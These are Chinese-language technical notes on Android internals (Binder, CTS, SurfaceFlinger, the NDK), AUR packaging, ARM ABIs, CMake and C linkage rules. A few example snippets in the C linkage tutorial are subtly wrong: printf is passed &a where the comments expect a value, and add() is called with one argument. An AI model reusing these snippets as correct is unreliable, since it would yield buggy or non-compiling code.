筆記區¶

一些筆記，有的目前是只有連結蒐集，有的只有小紀錄，有的有比較大的篇福在說明 :P

Inverse Square Root¶

Quake III engine

Android¶

Android M¶

Android Emulator¶

Android SDK - Android Emulator¶

$ ./android list targets
Available Android targets:
$ ./android list avd
Available Android Virtual Devices:

Genymotion¶

Genymotion 後面會接 VirtualBox 來運作

Installation¶

$ yaourt -S genymotion

Usage¶

開啟 GUI，登入帳號，選擇 device 後會開始下載檔案

$ genymotion

BlueStacks¶

Manymo¶

Manymo

in-browser Android emulators for embedding apps in websites

Android Images¶

Factory Images for Nexus Devices
- All Nexus Images
- Flashing Instructions

Android’s Binder¶

Binder is bound to the CPU, D-Bus (and hence kdbus), is bound to RAM.

Binder
- 會 block
- synchronous calling CPU
- 會直接把 CPU 執行權轉交給 callee (類似 system call 那樣)
- 過程中幾乎不會有 scheduling 發生
- 設計和 D-Bus 比起來比較不彈性，use-cases 也較受限，但可以執行非常快，overhead 非常低，適合手機這種 device
D-Bus
- 用 RAM 來 queue 住訊息 (會照順序)
- asynchronous
- 運作方式為 create-store-forward

Reference¶

Kdbus Details
- Greg Kroah-Hartman 寫的很好的一篇文章，簡單快速地說明 D-Bus 和 Binder 的不同
The future that everyone forgot
Wikipedia - Inter-process communication
Wikipedia - OpenBinder
Wikipedia - D-Bus
The unveiling of kdbus
Android Binder
Wikipedia - User:ScotXW/kdbus
D-Bus with Python
- DBusBindings
- Arch Packages - python-dbus
  
  code last update : 2013 ...
  
  build a CFFI version ?
  
  https://pypi.python.org/pypi?%3Aaction=search&term=dbus&submit=search

BysyBox 的 mv¶

BusyBox 的 mv 遇到跨 device 好像會有問題，只能先用 cp，在 rm 掉舊的檔案 ... 。

Android Cheat Sheet¶

Android Activity Manager (am) Cheat Sheet

Android CTS (Compatibility Test Suite)¶

CDD¶

CDD 全名是 Compatibility Definition Document，就是 Android 的相容性相關的定義，照這份定義實作的系統可以確保跟不同 device 上的相容，讓上面的程式可以正常運作。

CTS¶

CTS 全名是 Compatibility Test Suite，顧名思義是在做軟體的相容性測試 (裡面包含大量的 test case)， Google 要求所有跑 Android 系統得 device 都要通過 CTS 測試，目的是確保 Android 生態系的品質，包含實作品質、完程度、使用者體驗等，所以供應商在依照 CDD 實作後，執行 CTS 做測試，通過後即可確保符合規範。通過測試的硬體理論上能夠執行 Google Play Store 上的所有程式，讓開發者做出來的 Application 可以跑在所有 Android 系統上。通過 CTS 測試的硬體可以把結果送到 cts@android.com，最後會被加到一個 list 上做紀錄，原則上通過 CTS 的硬體才能正式上市。

授權¶

Google 的相關授權：

種類	通過 CTS	Android 商標使用權	GMS 授權	Google 商標使用權	結果
Type 1	O	O	X	X	device 預設沒有任何 Google 服務
Type 2	O	O	partial	X	device 預設有部份 Google 服務
Type 3	O	O	O	O	device 預設有完整 Google 服務

GMS (Google Mobile Service)¶

Google 相關服務的套件，包含 Google Play Store、Gmail、Google Map、... 等等

Reference¶

Google Project Butter¶

奶油計劃

Project Butter 是 Android 4.1 當中一個重要的特點，目的是要提升 Android 的使用者體驗，讓 Android 可以像奶油般滑順，其中包含：

三個 buffer
VSync (提升 GUI 效能和 frame rates 提升到 60 Hz)
處控反應優化 (預測使用者可能的 event，提升 load time)

Android - Misc¶

什麼是 goldfish ?¶

goldfish 是 QEMU 裡用來模擬 Android 系統的 virtual hardware 家族名稱，一開始只有 ARM 架構，後來有 porting 到 x86 和 MIPS virutal CPUs。

QEMU - GOLDFISH-VIRTUAL-HARDWARE.TXT

Android NDK ¶

Table of Contents

Android NDK

Introduction ¶

Android NDK 裡面會附上 Cross Compile 用的程式，例如 toolchains/ 資料夾裡面就包含不同平台的 GCC Cross Compiler 的執行檔，另外則含有 Clang 的 Makefile 設定。 (GCC 的 Cross Compile 需要先編成不同的 GCC Binary，Clang 則是有更好的支援，使用 -target 參數選擇即可)

Build Standalone Clang Cross Compile Toolchain ¶

$ android-ndk-r10e/build/tools/make-standalone-toolchain.sh \
    --toolchain=arm-linux-androideabi-clang3.6 \
    --llvm-version=3.6 \
    --arch=arm \
    --abis=armeabi-v7a-hard \
    --platform=android-21 \
    --package-dir=/tmp
Auto-config: --toolchain=arm-linux-androideabi-4.8, --llvm-version=3.6
Copying prebuilt binaries...
Copying sysroot headers and libraries...
Copying c++ runtime headers and libraries...
Creating package file: /tmp/arm-linux-androideabi-4.8.tar.bz2
Cleaning up...
Done.
$ file /tmp/arm-linux-androideabi-4.8.tar.bz2
/tmp/arm-linux-androideabi-4.8.tar.bz2: bzip2 compressed data, block size = 900k

compiler-rt ¶

$ ls -al arm-linux-androideabi-4.8/lib/clang/3.6/lib/linux/
total 7332
-rw-r----- 1 dv dv 2323826 Apr  1 06:26 libclang_rt.asan-arm-android.a
-rw-r----- 1 dv dv   36437 Apr  1 06:27 libclang_rt.asan-arm-android.a.syms
-rwxr-x--- 1 dv dv 1599248 Apr  1 06:27 libclang_rt.asan-arm-android.so*
-rw-r----- 1 dv dv   16596 Apr  1 06:26 libclang_rt.asan_cxx-arm-android.a
-rw-r----- 1 dv dv      73 Apr  1 06:26 libclang_rt.asan_cxx-arm-android.a.syms
-rw-r----- 1 dv dv   14064 Apr  1 06:34 libclang_rt.asan_cxx-i686-android.a
-rw-r----- 1 dv dv 1986448 Apr  1 06:34 libclang_rt.asan-i686-android.a
-rwxr-x--- 1 dv dv 1504988 Apr  1 06:35 libclang_rt.asan-i686-android.so*
-rw-r----- 1 dv dv    2100 Apr  1 06:26 libclang_rt.asan-preinit-arm-android.a
-rw-r----- 1 dv dv    1844 Apr  1 06:34 libclang_rt.asan-preinit-i686-android.a
$ file android-ndk-r10e/toolchains/llvm-3.6/prebuilt/linux-x86_64/lib/clang/3.6/lib/linux/libclang_rt.asan-arm-android.so
android-ndk-r10e/toolchains/llvm-3.6/prebuilt/linux-x86_64/lib/clang/3.6/lib/linux/libclang_rt.asan-arm-android.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, BuildID[sha1]=414a26fe76bb09de2d0d101e3ed6200da5d1cadc, not stripped

Build LLVM From Source For Android ¶

“cpufeatures” Library ¶

The cpufeatures Library

Build Your NDK ¶

Reference ¶

SurfaceFlinger¶

一般來說 Graphic 相關事情會分成 2D 跟 3D， Android 上也是如此。 Android 上 2D 使用的是一個叫作 android.graphics.Canvas 的 API，為最常用的 graphics API。在 Android 中 Canvas 會利用 OpenGLRenderer (libhwui) 這個 library 來把 Canvas 操作轉換成 OpenGL 操作，藉此可以利用 GPU 加速。 (Canvas 負責的項目包含描繪出客制化的 android.view.View)

註：Android 4.0 以後預設會開啟 Canvas 的硬體加速，所以在這之後強制限定 Android devices 至少要支援 OpenGL ES 2.0。

除了 Canvas 之外，要描繪出東西就是使用 OpenGL ES， Android 的 android.opengl 就是負責提供 OpenGL ES 的介面來使用，開發者可以透過 Android SDK/NDK 來呼叫。

2D rendering path :

+-----------------------------------+
|            Activity               |
+-----------------------------------+
                |
                v
+-----------------------------------+
|            Canvas                 |
+-----------------------------------+
                |
     hardware   |    software
     (default)  |
        +-------+-----------+
        |                   |
        v                   v
+---------------+   +---------------+
| HWUI          |   | Skia          |
+---------------+   +---------------+
        |                   |
        v                   |
+---------------+           |
| OpenGL ES     |           |
+---------------+           |
        |                   |
        v                   |
+---------------+           |
| Vender OpenGL |           |
+---------------+           |
        |                   |
        v                   |
+---------------+           |
| GPU Driver    |           |
+---------------+           |
        |                   |
        v                   v
+-----------------------------------+
|            Surface                |
+-----------------------------------+

3D rendering path :

+-----------------------------------+
|            Activity               |
+-----------------------------------+
                |
                v
+-----------------------------------+
|            OpenGL ES              |
+-----------------------------------+
                |
     hardware   |    software
     (default)  |
        +-------+-----------+
        |                   |
        v                   v
+---------------+   +----------------+
| Vender OpenGL |   | Android OpenGL |
+---------------+   +----------------+
        |                   |
        v                   v
+---------------+   +-----------------------------+
| GPU Driver    |   | PixelFlinger (Software GPU) |
+---------------+   +-----------------------------+
        |                   |
        v                   v
+-----------------------------------+
|            Surface                |
+-----------------------------------+

無論是用哪種 rendering API，最後都會 render 到 surface ， surface 會作為 buffer queue 的 producer 存在，而 SurfaceFlinger 則是 consumer，以下是大致的運作流程 :

https://source.android.com/devices/graphics/images/ape_fwk_graphics.png

Android 上所有 graphical 相關的核心是 BufferQueue，它的工作是負責連接 producer 和 consumer， producer 會產生 graphical data 的 buffer，而 consumer 則會接收 data 來顯示或著做其他處理， producer 和 consumer 可以是不同的 process， Android 上幾乎所有在系統內傳送 graphical data 的都是靠 BufferQueue 完成。

BufferQueue :

producer 會用 dequeueBuffer 來取得 free buffer， producer 在放完資料後用 queueBuffer 來放回去 BufferQueue，接著 consumer 用 acquireBuffer 來取得、使用 buffer 裡的 data，最後用 releaseBuffer 釋出。

https://source.android.com/devices/graphics/images/graphics_pipeline.png

BufferQueue 有三種運作模式：

Synchronous-like mode
- 預設的模式
- 保證每個從 producer 進來的資料都會交給 consumer
- 不會有 buffer 被忽略
- producer 產生太快造成 buffer 放不下的話會被 block 住
Non-blocking mode
- 不會有 buffer 被忽略
- producer 產生太快造成 buffer 放不下的話會回傳 error，不會 block
- 可用於避免應用程式不了解 graphics framework 的 dependencies 所造成的 deadlock
Discard mode
- buffer 可以被忽略

SurfaceFlinger 的行為是一個 OpenGL ES 的 client，所以 SurfaceFlinger 在運作時會使用 OpenGL ES。而 Hardware Composer HAL 則負責另一部份的工作，作為 Android graphics rendering 的中心。

sync framework

Code¶

SurfaceFlinger.cpp¶

EGL
- EGL 是 OpenGL 與 windowing system 銜接的 API
ALOGI
- log
- ALOGI/ALOGE/ALOGW
- Android Log
- information / error / warning ?

Choreographer¶

https://source.android.com/devices/graphics/architecture.html#choreographer

Reference¶

Arch Linux Arch User Repository¶

注意事項： Arch packaging standards

在 AUR 上，每個 commit 階段裡面都必須有 .SRCINFO 存在，所以如果一開始沒有加 .SRCINFO 的話，後面要 rebase 回去補上後才可以送到 AUR (不然會被 reject)

一個 package 最少會有：

PKGBUILD
.SRCINFO (可用 mksrcinfo 來從 PKGBUID 生出)

.SRCINFO¶

# Tools for generating .AURINFO files and PKGBUILD data extraction

$ sudo pacman -S pkgbuild-introspection
$ mksrcinfo   # generate .SRCINFO from PKGBUILD

Submit¶

要上傳到 AUR 需要先生個上傳 AUR 用的 SSH key：

$ ssh-keygen -t rsa -b 4096 -C "yourmail@domain"
...

登入 AUR 後，在帳號資訊那邊把 public key 加上去

(Optional) 接下來可以對 OpenSSH 做設定

~/.ssh/config

Host aur
    HostName aur.archlinux.org
    User aur
    IdentityFile ~/.ssh/aur

最後在要上傳的 repo 裡直接用想上傳的 package name 來 push

$ git push ssh://aur/PACKAGE_NAME.git

ARM Introduction¶

分類：

ARM-Cortex A : 行動計算 (A for Application)
ARM-Cortex M : 工業控制 (M for Microcontroller)
ARM-Cortex R : real-time (R for Real-time)

其他常見的縮寫：

e : EABI
l : little endian
hf : hard float point
vfp : vector float point
fp : hf 以前的名字

Float Point¶

三種模式：

soft
- 所有浮點數運算由軟體實作，效率不高
- 與其他兩者相容
softfp
- 浮點數運算交給 FPU 處理，用整數暫存器傳遞
- 和 hard 不相容
hard
- 浮點數運算交給 FPU 處理，用浮點暫存器傳遞
- 和 softfp 不相容

預設狀況下 “armel” 會使用 softfp，把 hard 模式的 armel 視為另一個 ABI，稱為 “armhf”

softfp 模式下會不斷有整數和浮點數之間的轉換，而使用 hard 模式時大約可以節省 20 個 CPU cycles，使的某些程式可以獲得 20 ~ 25 % 的效能提升，對於大量使用浮點數運算的程式有人甚至獲得了 300 % 的提升。

GCC 參數: -mfloat-abi=hard -mfpu=vfp

Thumb¶

ARM 有兩套指令集，一套是 ARM，另一套是 Thumb。

Thumb 的目地是要增加 code 的密度， Thumb instruction set 實作的是 ARM instruction set 的子集，指令用了 16 bits，藉由限制一些能力來換取空間。

(本來可以放 32 條 32 bits 的 ARM 指令換成放 Thumb 就可以放 64 條)

Thumb 沒有 coprocessor 指令、Semaphore 指令、CPSR 和 SPSR 相關的指令、乘加指令、64 位元乘法指令，指令的第二個 operand 受到限制，只有 branch 指令可以跳 address，採用的是 relative jump，可以跳到的範圍有限制。

Thumb 和 ARM 在組語上是相同的，但是 compile 後會產生初步同的資料，所以「Thumb 是一套 16 bits 的指令集，為 ARM 指令集的子集，可以在 32 bits 的 ARM 指令集找到對應」， Thumb mode 和 ARM mode 兩個不能同時運作，選好後處理器就會依照指定的模式運作，如果是 Thumb mode 的話會進行解壓縮，轉換成 ARM 指令來執行。

Thumb2¶

Thumb2 在原本單純的 16 bits Thumb 指令集加入了一些 32 bits 的指令，也加入了 IT (If Then) 指令 (對於 ARM 指令集來說，IT 指令不會產生任何 code)。

Reference¶

Assembly Cheat Sheet¶

ASM 8086 Cheat Sheet

CMake¶

Example 1¶

./hello.c

#include <stdio.h>

int main () {
  printf("Hello World!\n");
  return 0;
}

./CMakeLists.txt

PROJECT (HELLO)
SET (HELLO_SRCS hello.c)
ADD_EXECUTABLE (hello ${HELLO_SRCS})

編譯並執行

$ cmake .
-- The C compiler identification is GNU 5.1.0
-- The CXX compiler identification is GNU 5.1.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /tmp/cmake
$ make
Scanning dependencies of target hello
[100%] Building C object CMakeFiles/hello.dir/hello.c.o
Linking C executable hello
[100%] Built target hello
$ ./hello
Hello World!

Example 2¶

./lib/hello.c

#include <stdio.h>

void hello (){
    printf("Hello World!\n");
}

./lib/hello.h

void hello ();

./src/main.c

#include <hello.h>

int main () {
    hello();
    return 0;
}

./lib/CMakeLists.txt

ADD_LIBRARY (hello hello.c)

./src/CMakeLists.txt

INCLUDE_DIRECTORIES (${HELLO_SOURCE_DIR}/lib)
LINK_DIRECTORIES (${HELLO_BINARY_DIR}/lib)
ADD_EXECUTABLE (main main.c)
TARGET_LINK_LIBRARIES (main hello)

./CMakeLists.txt

PROJECT (HELLO)
ADD_SUBDIRECTORY (lib)
ADD_SUBDIRECTORY (src)

編譯並執行

$ cmake .
-- The C compiler identification is GNU 5.1.0
-- The CXX compiler identification is GNU 5.1.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/dv/cmake_zone
$ make
Scanning dependencies of target hello
[ 50%] Building C object lib/CMakeFiles/hello.dir/hello.o
Linking C static library libhello.a
[ 50%] Built target hello
Scanning dependencies of target main
[100%] Building C object src/CMakeFiles/main.dir/main.o
Linking C executable main
[100%] Built target main
$ src/main
Hello World!

More Options¶

指定安裝路徑¶

把原本的

$ cmake .

換成

$ cmake -DCMAKE_INSTALL_PREFIX:PATH=/your/install/path .

指定產生檔案的資料夾 (不要混在 source code 裡)¶

直接在想要放的 folder 下 cmake (接 source code 資料夾)

例如：

$ mkdir build
$ cd build
$ cmake ../

換 Linker¶

預設狀況下， Linker 會去找 Compiler 來用，例如 C++ 的會設成這樣 :

if(NOT CMAKE_CXX_LINK_EXECUTABLE)
  set(CMAKE_CXX_LINK_EXECUTABLE
      "<CMAKE_CXX_COMPILER>  <FLAGS> <CMAKE_CXX_LINK_FLAGS> <LINK_FLAGS> <OBJECTS>  -o <TARGET> <LINK_LIBRARIES>")
endif()

也就是說會去找 C++ Compiler 來用，如果自己要換 Linker 的話就要把這個值蓋掉，例如在下 cmake 指令時加上參數 :

$ cmake \
-DCMAKE_LINKER=`which my_linker` \
-DCMAKE_CXX_LINK_EXECUTABLE='<CMAKE_LINKER> <FLAGS> <CMAKE_CXX_LINK_FLAGS> <LINK_FLAGS> <OBJECTS> -o <TARGET> <LINK_LIBRARIES>'

GYP¶

GYP 是 Google 為了 Chromium 所撰寫出來的 Build Tool

GYP vs. CMake

C¶

C - Wikipedia

C11¶

C Cheat Sheet¶

C Reference Cheat Sheet

Exceptions in C¶

Exceptions in C with Longjmp and Setjmp

Some C’s features¶

Restricted Pointers (C99)¶

GNU Extension¶

想要使用 GNU Extension 的話有兩種簡單的方式，一個是編譯時使用 -std=gnu11 ，另一種是在 C 的 source code 的開頭加上 #define _GNU_SOURCE ，接著就算使用 -std=c11 ，加上 “_GNU_SOURCE” 的檔案還是可以使用 GNU Extension (gcc 當然支援，clang 的話則是也有在做支援)

一些專案使用 GNU Extension 的原因：

許多非標準的 GNU/Linux extension functions
使用被 POSIX 去除的 function (最好不要)
一些不能跨平台的 low-level functions (例如 mount、ifconfig)
跟 POSIX 行為不一樣的 function (當 GNU 的人不同意 POSIX 定的行為 ...) (儘量不要)

一些 GNU Extension 裡的 function¶

strfry - randomize a string
memfrob - frobnicate (encrypt) a memory area
- only suitable for hiding strings

一些用到 GNU Extension 的 library¶

[Linux] ucontext

Internal and External Linkage in C ¶

(copy from https://github.com/u1240976/mess_note/blob/master/talk/internal_and_external_linkage_in_C.rst)

副標題: extern/static/inline variable/function

Table of Contents

Internal and External Linkage in C

compiling, linking and forward declaration ¶

C 在將 source code 轉化為 executable 時, 至少可分為 compile 跟 link 兩個階段.

在 compile 階段把單獨的 C source code translate 成 cpu instructions 組成的 object code.
在 link 階段把所有需要用到的 object code 連結組成一個執行檔 (除了 dynamic linking 以外)

示意圖:

+----------------------------------------------------------------+
|                                                                |
|  source code              object code             executable   |
|                                                                |
|                                                                |
| +------------+           +------------+                        |
| |            |  compile  |            |                        |
| |   main.c   +----------->   main.o   +-+                      |
| |            |           |            | |        +-----------+ |
| +------------+           +------------+ |  link  |           | |
|                                         +-------->   a.out   | |
| +------------+           +------------+ |        |           | |
| |            |  compile  |            | |        +-----------+ |
| |    foo.c   +----------->    foo.o   +-+                      |
| |            |           |            |                        |
| +------------+           +------------+                        |
|                                                                |
+----------------------------------------------------------------+

(compiler 在把 main.c 轉換成 main.o 的過程, 並不知道 foo.c 的存在, 也看不到 foo.c 的內容.)

由於在 compiling 階段, source code 轉換成執行檔的最重要階段, compiler 無法看到一個 C source file 依賴的其他 C source file 跟外部 library (source code and object code) 的內容.

所以 C 語言的設計, 需要在每個 C source file 中, 標注該 source file 中每個會用到的變數與函式的型別(type), 包含外部變數及函式. 透過標注, compiler 才能在 compiling 階段進行 type checking.

換句話說, 對於每個 C source file 來看, 如果要使用任何變數跟函式, 都需要使用處的前面有完整的定義(definition), 或者有僅包含型別(type)的宣告(declaration).

也正是因為如此, C 語言甚至要使用 header file 跟額外的 preprocessor, 來幫助使用外部的 C source code 跟 library.

補充一些常見疑惑:

所有的 library 本質上都跟 object code 一樣由 cpu instructions 組成, 包含 static library 跟 dynamic library. 除了 dynamic library 的 cpu instructions 要強制符合 relocable(position independent code) 的條件. 可參考: Tsung’s Blog - Linux 的 .a / .so / .la 函式庫的差異
header file 不會被單獨 compile, header file 只會被 #include 貼入到其他 C source code 裡, 跟 C source code 一起被 compile 成 object code.

extern variable ¶

(名詞解釋: 這邊的外部檔案指的是除了自己以外其他的 C source codes, libraries)

當需要使用外部檔案的變數時, 必須在使用前宣告該變數為 extern 並且寫上該變數的型別(type).

example

/* foo.c */
int a = 10;

/* main.c */
extern int a;

void print_a(void){
    printf("a = %d\n", &a);
}

int main(){
    print_a(); // a = 10
    a++;
    print_a(); // a = 11
    a = 100;
    print_a(); // a = 100
}

比如說在上面的範例, main.c 中的 extern int a 便是引用 foo.c 中的全域變數 int a.

notice: extern 只能引用全域變數.

restriction ¶

因為是引用已經定義好的變數, 對宣告方式有很嚴格的限制.

型別需跟引用的變數相同, 不然為 undefined behavior. 以上面範例來說, extern double a 很顯然是錯的.
不可給初始值(initialized value). 如 extern int a = 100 很顯然是錯的.

extern usage in header file ¶

一般來說, 我們會用 extern 去引用別的 library 的全域變數.

通常 library 會把打算讓你引用的變數, 寫到 header file 裡, 讓所有要用的檔案 include 就能使用了.

以上面的 example 為例的話會直接建立一個 foo.h 給其他檔案如 main.c 來使用.

/* foo.h */
extern int a;

/* foo.c */
int a = 10;

/* main.c */
#include "foo.h"

void print_a(void){
    printf("a = %d\n", &a);
}

int main(){
    print_a(); // a = 10
    a++;
    print_a(); // a = 11
    a = 100;
    print_a(); // a = 100
}

而事實上, 會出現在 header file 裡的全域變數基本上只會有 extern variable.

如果一般非 extern/static 的變數出現在 header file 裡, 並且在全域作 #include, 便代表你在每個 #include 該 header file 的檔案都宣告同名的全域變數, 很顯然有重名問題. 這種作法對 header file 的設計不 make sense.

extern variable example in library ¶

stdin, stdout, stderr
old implementation of errno (without considering multithreading)

// /usr/bin/stdio.h
/* Standard streams.  */
extern struct _IO_FILE *stdin;              /* Standard input stream.  */
extern struct _IO_FILE *stdout;             /* Standard output stream.  */
extern struct _IO_FILE *stderr;             /* Standard error output stream.  */
/* C89/C99 say they're macros.  Make them happy.  */
#define stdin stdin
#define stdout stdout
#define stderr stderr

// /usr/bin/errno.h
#ifndef errno
extern int errno;
#endif

extern variable in function ¶

如果在函式中使用 extern 引用變數, scope 會跟區域變數一樣只在函式的範圍內.

// main.c
int foo(){
    extern int a;
    ...
}

int main(){
    a = 30; // Error!!
}

static variable ¶

在 C 語言裡, static 主要有兩個效果

對函式內的變數用 static 修飾: lifetime 擴展為整個程式的執行期間, 與全域變數的 lifetime 相同, 整個程式期間只存在一個本體, 不像區域變數每個函式有一個本體.
對全域變數用 static 修飾: 變數不可被外部引用(連接: link), 也不汙染其他檔案的 namespace(symbol table in C). 也就是內部連結(internal linkage)的效果.

接下來一一解釋兩個效果.

static: internal linkage ¶

前面說過, 我們可以用宣告 extern variable 的手法, 使用外部 library 的變數.

那如果 library 想要造一個內部的全域變數, 不給外部檔案使用, 就可以宣告 static 讓變數無法被外部檔案看到, 無法被連接(link).

static variable in function ¶

static variable in function, 使用效果是可以做出有狀態 (stateful) 的 function.
- example: strtok (http://www.cplusplus.com/reference/cstring/strtok)
- 延伸思考: static variable in function 在 multithreading 環境下受到的影響.

extern and static function ¶

當需要使用外部檔案的函式時, 需宣告該函式的 type, 通常稱為 function prototype.

跟變數不同的是, function prototype 可加可不加 extern.

而將 function prototype 也放在 header file 的原因跟 extern variable 一樣.

static function 的效果跟 static 的全域變數一樣, 讓函式不可被外部引用.

extern and static function example ¶

simple example
- fabonacci library, 提供 fabonacci 函式使用.
- fabonacci library 中需使用內部函式 add 的功能.

/* fabonacci.h */
int fabonacci(int n);
// extern int fabonacci(int n); // this is still ok.

/* fabonacci.c */
static int add(int a, int b);

int fabonacci(int n){
    if(n == 0)
        return 0;
    return add(fabonacci(n-1) + fabonacci(n-2));
}

static int add(int a, int b){
    return a+b;
}

/* main.c */
#include "fabonacci.h"

int main(){
    printf("f(10) = %d\n", fabonacci(10));
    return 0;
}

more complex example
- 3rd party library - argparse
- 提供設定 command line option 的函式跟結構(struct).
- 內部函式 prefix_cmp, prefix_skip. 檢查是否為 prefix string.

// argparse.c
static const char *
prefix_skip(const char *str, const char *prefix)
{
    size_t len = strlen(prefix);
    return strncmp(str, prefix, len) ? NULL : str + len;
}

static int
prefix_cmp(const char *str, const char *prefix)
{
    for (;; str++, prefix++)
        if (!*prefix)
            return 0;
        else if (*str != *prefix)
            return (unsigned char)*prefix - (unsigned char)*str;
}

// two functions are not in argparse.h

conflict of inline function and external linkage ¶

在講解前, 要先說明一下 function call 在執行檔的樣貌.

以下的 code 是一個簡單的函式 add, 在 x86_64 組語下的實作.

(C code 是註解, 僅表示哪些 C code 被轉成該組語, 為了方便辨認, 在 C code 前加上 [C] 方便辨識.

   00000000004005d1 <add>:
[C]int add(int a, int b){
     4005d1:       55                      push   %rbp
     4005d2:       48 89 e5                mov    %rsp,%rbp
     4005d5:       89 7d fc                mov    %edi,-0x4(%rbp)
     4005d8:       89 75 f8                mov    %esi,-0x8(%rbp)
[C]    return a+b;
     4005db:       8b 55 fc                mov    -0x4(%rbp),%edx
     4005de:       8b 45 f8                mov    -0x8(%rbp),%eax
     4005e1:       01 d0                   add    %edx,%eax
[C]}
     4005e3:       5d                      pop    %rbp
     4005e4:       c3                      retq

每個組語的 instruction 分成三部份.

該 instruction 存在的 memory address. 如 4005d1:
instruction 的 binary encoded form, machine code 真實存在執行檔的狀態. 如 55
instruction 的 binary encoded form 被反組譯回來的組語. 如 push %rbp

函式的本體, 就是函式實作轉換成的 instructions, 結尾為 return 相關的 instruction.

而函式的名稱也只是這串 instructions 的 start address, 可以用 function call 相關的 instruction 跳到這個 start address.

如下 code 即為 x = add(a, b); 這行 C source code 轉換成組語的實作, 可以看到透過 callq instruction 跳到 add 函式(4005d1)

[C]       x = add(a, b);
     40059f:       8b 55 f4                mov    -0xc(%rbp),%edx
     4005a2:       8b 45 f8                mov    -0x8(%rbp),%eax
     4005a5:       89 d6                   mov    %edx,%esi
     4005a7:       89 c7                   mov    %eax,%edi
     4005a9:       b8 00 00 00 00          mov    $0x0,%eax
     4005ae:       e8 1e 00 00 00          callq  4005d1 <add>
     4005b3:       89 45 fc                mov    %eax,-0x4(%rbp)

(p.s. call 400561 => e8 1e 00 00 00, e8 為 call instruction 的 opcode, 0x1e = 0x4005d1 - 0x4005b3)

但 inline function 的效果, 是直接把函式的內容插入到 function call 的地方, 省略 call, return, 跟參數傳遞帶來效能增進.

也因此, 函式如果 inline 化之後, 就不需要存在本體了, 可以節省空間.(其實沒差多少, 可以 inline 的函式通常不大, 幾乎小於 10 行)

不過函式 inline 化這件事基本上是在 compilation 階段完成的, 只能在檔案內 call 這個函式的地方 inline 化.

如果外部檔案要 function call, 基本上只能正常 call and return, 需要函式的本體, 跟 inline 化的其中一個好處互相衝突.

因此在這個衝突底下, C 語言讓 programmer 使用 static 跟 extern 關鍵字去做設定要不要保留.

[C99] static inline v.s. extern inline ¶

static inline 代表 internal linkage, 不給外部檔案使用, 很顯然的也就不需要保留本體.

反之, extern inline 代表 external linkage, 要給外部檔案使用, 必需要保留本體.

不過 inline 關鍵字是在 C99 在進入 C 標準的, 所以這是 C99 以後的規則, 純 inline 的效果也留到下一個 section 講.

inline and gnu89 inline ¶

C89(ANSI C) 的年代, 因為還沒有 inline, 所以第一個做出 inline 功能的就是 gcc.

想當然, inline/static inlink/extern inline 的效果就是 gnu 他們自訂的, 與現在 C99 規格化後的效果不同.

C99 以前的其他 compiler, 也有可能跟進 gcc 的設計.

整理之後 3 種 inline 在 compiler 相容度分 3 類

C89: 不支援 inline.
gnu89, 某些跟進 gnu89 的 C99 以前 compiler: 走 gnu89 的設計.
after C99, including gnu99: 走 C99 設計.

gnu89 v.s. C99

gnu89 的 static inline 跟 C99 相同, 不需要保留本體.
gnu89 的 inline 跟 C99 的 extern inline 相同, 會保留本體.
gnu89 的 extern inline 跟 C99 的 inline 相同, 不過這個效果很詭異不建議使用.

實際測試 ¶

at C99 (gcc v4.9.2 -std=c99)
- 開 O2, compiler 沒把 function inline 化
- 開 O3, compiler 把 function inline 化了, static inline 跟 inline 的本體消失, extern inline 本體有被保留.

總結 ¶

由於 C 的 compilation 流程限制, 每個檔案必須要在變數跟函式使用前加上前綴的型別宣告.
static 可以將變數跟函式的 scope 縮小為檔案內, extern variable 跟 function prototype 可以讓你引用別的檔案裡沒被 static 化的變數跟函式.
header file 的變數, 絕大部分情況只會有 extern variable.
extern inline 的 extern 被賦與第二種意義, 讓 inline function 可被外部引用. static inline 中的 static 仍為保護函式不可被外部引用.

inline functions	C99 internal function	C99 external function	gnu89 internal function	gnu89 external function
declaration in header file (`*.h`)	X	inline or extern inline	X	inline
forward declaration (`*.c`)	static inline	inline or extern inline	static inline	inline
function definition (`*.c`)	static inline	extern inline	static inline	inline

library 本身
1. 變數跟函式希望被外部引用: 在 header file 加上 extern variable 或 function prototype
2. 變數跟函式可被外部引用: 在 C source file 該變數宣告時, 不加上 static.
3. 變數跟函式不可被外部引用: 在 C source file 該變數宣告時, 加上 static.
使用 library 的外部檔案
1. 對應上面的 1., header file 有的話, include 後即可使用.
2. 對應上面的 2., 需在本檔案中加上 extern variable 或 function prototype 才可使用. 如果沒有 library 的 source code 則無法使用. 因為無法知道變數跟函式的型態.
3. 對應上面的 3., 在這種情況下無法使用該變數, 不過可以在這個檔案宣告同名變數使用.

/* just comments */
/*
 * 1. external linkage, var1/func1
 * 2. can be external linked, var2/func2
 * 3. internal linkage, var3/func3
 */

/* libfoo.h */
extern int var1;

void func1(void);

/* libfoo.c */
#include "libfoo.h"

int var1 = 1;
int var2 = 2;
static int var3 = 2;

// function forward declaration if needed.
void func2(void);
static void func3(void);

// function definition
void func1(void){
    printf("func1\n");
}
void func2(void){
    printf("func2\n");
}
static void func3(void){
    printf("func3\n");
}

/* main.c */
#include "libfoo.h"

extern int var2;  // if using 2.
void func2(void); // if using 2.

extern int var3;  // error
extern void func3(void);  // error
int var3 = 1000;  // but main.c can have independent var3
void func3(void){ // but main.c can have independent func3
    printf("my func3\n");
}

int main(){
    var1 = 10; // 1. external linkage
    func1();   // 1. external linkage
}

reference ¶

http://stackoverflow.com/questions/216510/extern-inline/216546#21654

pragma once¶

